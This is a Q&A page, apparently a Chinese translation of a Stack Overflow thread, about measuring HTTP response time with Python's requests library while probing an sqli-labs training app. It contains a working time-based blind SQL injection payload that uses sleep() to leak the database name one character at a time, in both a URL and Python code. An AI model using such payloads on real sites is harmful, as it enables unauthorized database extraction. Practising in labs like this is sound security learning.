python-2.7 - 使用 Python 中的请求库测量 HTTP 响应时间。我做对了吗?

标签 python-2.7 python-requests httpresponse roundtrip elapsed

我试图在 Web 应用程序的 HTTP 响应中引入人为延迟(这是一种用于执行盲 SQL 注入(inject)的技术)。如果从浏览器发送以下 HTTP 请求,则 Web 服务器的响应将在 3 秒后返回(由 sleep(3) 引起):

http://192.168.2.15/sqli-labs/Less-9/?id=1'+and+if+(ascii(substr(database(),+1,+1))=115,sleep(3),null)+--+

我正在尝试使用 requests 库在 Python 2.7 中执行相同的操作。我的代码是:

import requests

payload = {"id": "1' and if (ascii(substr(database(), 1, 1))=115,sleep(3),null) --+"}
r = requests.get('http://192.168.2.15/sqli-labs/Less-9', params=payload)
roundtrip = r.elapsed.total_seconds()
print roundtrip

我预计往返时间为 3 秒,但我得到的值是 0.001371、0.001616、0.002228 等。我是否没有正确使用 elapsed 属性?

最佳答案

elapsed测量发送请求和完成解析响应 header 之间的时间,直到传输完整的响应。

如果你想测量那个时间,你需要自己测量:

import requests
import time

payload = {"id": "1' and if (ascii(substr(database(), 1, 1))=115,sleep(3),null) --+"}
start = time.time()
r = requests.get('http://192.168.2.15/sqli-labs/Less-9', params=payload)
roundtrip = time.time() - start
print roundtrip

关于python-2.7 - 使用 Python 中的请求库测量 HTTP 响应时间。我做对了吗?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/30442757/

相关文章:

python - 如何设置只有整数的 x 轴刻度线?

python - 使用 'Requests' python 模块进行 POST 请求,接收响应就好像它是 GET

python - 多部分解析器错误 :- Invalid boundary

python - 如何在有限的时间内通过 pika 消费 RabbitMQ 消息?

python - 在 Pandas 中读取、选择和重新排列列

python - 如何使用 Python 和 lxml 解析本地 html 文件?

python - 使用Python requests.get解析不会立即加载的html代码

get - # 字符似乎会导致 get 请求出现问题

Angular Testing : mock a HttpResponse containing a blob

java - 为什么 HttpURLConnection.getResponseCode() 抛出 IOException?